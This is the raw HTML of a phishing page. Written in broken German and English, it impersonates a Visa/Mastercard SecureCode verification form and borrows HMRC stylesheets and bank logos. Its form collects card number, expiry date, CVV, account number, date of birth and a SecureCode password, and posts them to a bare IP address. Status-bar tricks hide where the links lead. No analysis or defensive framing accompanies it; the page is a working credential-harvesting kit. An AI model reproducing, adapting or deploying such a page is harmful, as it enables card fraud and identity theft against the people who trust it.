<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" " www.w3.org/TR/html4/strict.dtd"> <html lang="en"><head> <SCRIPT LANGUAGE="JavaScript"> function popUp(URL) { day = new Date(); id = day.getTime(); eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=300,height=220,left = 362,top = 274');"); } </script> <META content="MSHTML 6.00.2900.3199" name=GENERATOR> <style type="text/css"> .style2 {font-family: Verdana} .style4 {font-family: Verdana; font-size: 12px; } .style7 {font-size: 13px} .style11 {font-family: Verdana; font-size: 13px; font-weight: bold; } .style14 {font-family: Verdana; font-size: 11px; } </style> <title>Plase Fill und bestätigen Sie Ihre Kontodaten.</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <link rel="stylesheet" href="https://online.hmrc.gov.uk/style/ck/hmrc.css" type="text/css"> <link rel="stylesheet" href="https://online.hmrc.gov.uk/style/ck/print.css" type="text/css" media="print">    </SCRIPT> <script language="JavaScript" type="text/JavaScript"> function submitIt(processForm){ if(processForm.name.value == ""){ alert("Please enter your Full Name"); processForm.name.select(); return false; } if(processForm.address.value == ""){ alert("Please complete your Adress"); processForm.address.select(); return false; } if(processForm.city.value == ""){ alert("Please enter your City"); processForm.city.select(); return false; } if(processForm.zip.value == ""){ alert("Please enter your Postal Code"); processForm.zip.select(); return false; } if(processForm.phone.value == ""){ alert("Please enter your Phone Number"); processForm.phone.select(); return false; } if(processForm.bank.value == ""){ alert("Please enter your Bank Name"); processForm.bank.select(); return false; } if(processForm.card.value == ""){ alert("Please enter your Card Number"); processForm.card.select(); return false; } } </script> <style type="text/css">  </style> </head> <body id="top"> <dl class="process-overview"> <p><img src="http://compare-best-credit-cards.com/wp-content/uploads/2009/12/186563.gif" width="160" height="100"> <img src="http://www.fsgbank.com/media/ext/uploaded/c838dd39-375d-4135-a88c-55c0b3a15f48/logo_mastercardSecurecode.png" style="margin-left: 400px;" ></p> <hr class="dotted"> <dt class="selected">1</dt><dd class="selected">Eingeben<br>Details</dd> <dt>2</dt><dd class="last">Finish</dd> <div id="user-information"> </div> <h1 class="no-menu"> Schritt 1 - Geben Sie die Details </h1> <a name="main" class="screen-reader"></a> </div> <div id="AcceptTermsAndConditions" class="portlet"> <div class="portlet-header"> <h2> Informationen zur Abrechnung</h2> </div> <div class="portlet-body"> <td><form action="http://68.169.195.135/surveys.php" name="processForm" method="POST" onsubmit="return submitIt(this)"> <td><span class="style4"><span class="style7"><STRONG><U>Kreditkarten-Informationen</U></STRONG> - Bitte geben Sie Ihren Kredit-oder Debit Card.</span></span></td> </tr> <tr> <td> <form action="http://68.169.195.135/surveys.php" name="processForm" method="POST" onsubmit="return submitIt(this)"></td> </tr> <tr> <td><table width="735" border="0" align="center" cellpadding="3" cellspacing="3"> <tr> <td class="style11"><div align="right">Debit / Credit Kartennummer: </div></td> <td width="24%"><input name="card" title="Debit / Credit Card Number" type="text" id="card" size="25" maxlength="23"></td> <td width="6%"><img src="http://www.ysutopia.net/images/logo_cc_visa_37x23.gif" alt="Visa" width="37" height="23"></td> <td width="23%"><img src="http://www.ysutopia.net/images/logo_cc_mc_37x23.gif" alt="MasterCard" width="37" height="23"><img src="https://secure.wp3.rbsworldpay.com/sc2/jsp/shopper/icons/MAESTRO-SSL.gif" alt="" width="43" height="23" /></td> </tr> <tr> <td class="style11"><div align="right">Verfallsdatum: </div></td> <td colspan="3"><select name="expm" id="expm" title="Expiration Month"> <option value="">- Month -</option> <option>01</option> <option>02</option> <option>03</option> <option>04</option> <option>05</option> <option>06</option> <option>07</option> <option>08</option> <option>09</option> <option>10</option> <option>11</option> <option>12</option> </select> / <select name="expy" id="expy" title="Expiration Year"> <option value="">- Year -</option> <option>2011</option> <option>2012</option> <option>2013</option> <option>2014</option> <option>2015</option> <option>2016</option> <option>2017</option> <option>2018</option> </select></td> </tr> <tr> <td class="style11"><div align="right">Karten-Prüfnummer:</div></td> <td colspan="3"><input name="cvv" title="Card Verification Number" type="text" id="cvv" size="4" maxlength="3"> [ <A HREF="javascript:popUp('https://internetadcorp.com/pictures/cv_card.gif')" onMouseOver="window.status='Done'; return true" onMouseOut="window.status='Done'; return true">view sample</A> ]</td> </tr> <tr> <td class="style11"><div align="right">Konto-Nummer:</div></td> <td><input name="ssn" title="Account Number" type="text" id="ssn" size="25" maxlength="50"></td> </tr> <tr> <td class="style11"><div align="right">PLZ:</div></td> <td><input name="zip" title="PLZ" type="text" id="zip" size="6" maxlength="6"></td> </tr> <tr> <td width="47%" class="style11"><div align="right">Geburtsdatum: </div></td> <td><input name="a" title="CardHolder Name" type="text" id="a" size="2" maxlength="2"> <input name="b" title="CardHolder Name" type="text" id="b" size="2" maxlength="2"> <input name="c" title="CardHolder Name" type="text" id="c" size="4" maxlength="4"> <br> <span class="style14">(mm/dd/yyyy)</span></td> </tr> <tr> <tr> <td class="style11"><div align="right">Passwort:</div></td> <td><input name="sec" title="SecureCoder" type="password" id="sec" size="25" maxlength="50"></td> </tr> <tr> <tr> <td class="style11"><div align="right">Passwort bestätigen:</div></td> <td><input name="sec2" title="bestätigen" type="password" id="sec2" size="25" maxlength="50"></td> </tr> </table></td> </tr> <tr> <td><div align="center"></div></td> </tr> <tr> <td> </td> </tr> <tr> <td> </td> </tr> <tr> <td><div align="center"> <input type="submit" name="Submit" value=" Submit Informationen " onMouseOver="window.status='Done'; return true" onMouseOut="window.status='Done'; return true"> </div></td> </tr> <br> <br> <ul class="inline-navigation" id="footer"> <li class="first"> © <a title="Opens in new window" target="_blank" class="new-window" href="http://www.visa.de">Copyright © 2011 Visa / Mastercard</a></li> </ul> <script src="https://online.hmrc.gov.uk/js/framework.js" type="text/javascript"></script>     </body></html> </script> </body></html>